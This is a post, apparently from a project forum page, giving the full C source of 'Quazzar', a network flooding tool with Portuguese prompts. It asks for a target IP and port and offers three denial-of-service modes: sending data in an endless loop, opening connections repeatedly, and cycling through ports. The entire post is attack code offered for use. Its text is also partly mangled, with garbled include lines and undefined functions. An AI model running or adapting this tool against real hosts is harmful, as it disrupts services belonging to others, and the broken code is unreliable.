Menu ▾ ▴

Source Code

I will post the code here because I'm (newbie) don't know how use the SVN or GIT.
So...

include <time.h></time.h>

include <math.h></math.h>

include <stdio.h></stdio.h>

include <stdlib.h></stdlib.h>

include <malloc.h></malloc.h>

include <stdarg.h></stdarg.h>

include <strings.h></strings.h>

include <pthread.h></pthread.h>

include <sys types.h=""></sys>

include <sys socket.h=""></sys>

include <arpa inet.h=""></arpa>

include <unistd.h></unistd.h>

define PORTA porta

define IP ip

char ip[13];
unsigned short int porta;

int soquete,soquete2,soquete3;
struct sockaddr_in alvo;

void criar_socket();

void thread();
void thread2();
void thread3();

void main(void)
{
float want;
pthread_t threads[2];
printf("Quazzar %s\n",VERSION);
printf("|Digite a porta|\n");
printf("Sua escolha:");
scanf("%hd",&porta);
if(porta > 65535 || porta <= 0)
{
system("clear");
printf("Porta errada...\n");
sleep(1);
sair(1,6);
}
printf("|Digite o IP do alvo|\n");
printf("Sua escolha:");
scanf("%s",ip);
printf("|Digite o tipo de ataque:|\n");
printf("|1 = Volume de dados.|\n");
printf("|2 = Volume de conexoes.|\n");
printf("|2.5 = Volume de conexoes, portas diferentes.|\n");
scanf("%f",&want);
if(want != 1 && want != 2 && want != 2.5)
{
system("clear");
printf("Escolha uma das opcoes...\n");
sleep(1);
exit(1);

}
criar_socket();
if(want == 1)
{
    pthread_create(&(threads[1]), NULL, thread, NULL);
}
if(want == 2)
{
    pthread_create(&(threads[1]), NULL, thread2, NULL);
}
 if(want == 2.5)
    pthread_create(&(threads[1]), NULL, thread3, NULL);
 sleep(10);

}

void thread()
{
connect(soquete,(struct sockaddr *)&alvo,sizeof alvo);
if(connect <= 0)
{
printf("Porta provavelmente fechada...\n");
exit(1);
}
printf("Flooding...\n");
while(1)
{
send(soquete,"LASERED",strlen("LASERED"),4);
//printf("Thread 1: Flooding\n");
}
}
void thread2()
{
printf("Flooding...\n");
while(1)
{
criar_socket(2);
if(connect(soquete2,(struct sockaddr *)&alvo,sizeof alvo) < 0)
{
printf("Erro no socket\n");
sleep(0);
exit(1);
}
close(soquete2);
}
}

void thread3()
{
printf("Flooding...\n");
criar_socket();
while(1)
{
criar_socket(3);
printf("%d\n",porta);
if(connect(soquete3,(struct sockaddr *)&alvo,sizeof alvo) < 0)
{
printf("Erro no socket\n");
sleep(0);
exit(1);
}
close(soquete3);
}
}

void criar_socket(int var)
{
if(var != 2&& var != 3)
{
soquete = socket(AF_INET,SOCK_STREAM,6);
alvo.sin_family = AF_INET;
alvo.sin_port = htons(PORTA);
alvo.sin_addr.s_addr = inet_addr(IP);
bzero(&(alvo.sin_zero),8);
if(soquete < 0)
{
printf("Erro na criacao do socket.\n");
exit(1);
}
soquete2 = socket(AF_INET,SOCK_STREAM,6);
if(soquete2 < 0)
{
printf("Erro na criacao do socket.\n");
exit(1);
}
}
if(var == 2)
{
soquete2 = socket(AF_INET,SOCK_STREAM,6);
if(soquete2 < 0)
{
printf("Erro na criacao do socket.\n");
exit(1);
}
}
if(var == 3)
{
alvo.sin_port = htons(porta + 1);
soquete3 = socket(AF_INET,SOCK_STREAM,6);
if(soquete3 < 0)
{
printf("Erro na criacao do socket.\n");
exit(1);
}
}

}

Posted by Anonymous 2012-08-04

Log in to post a comment.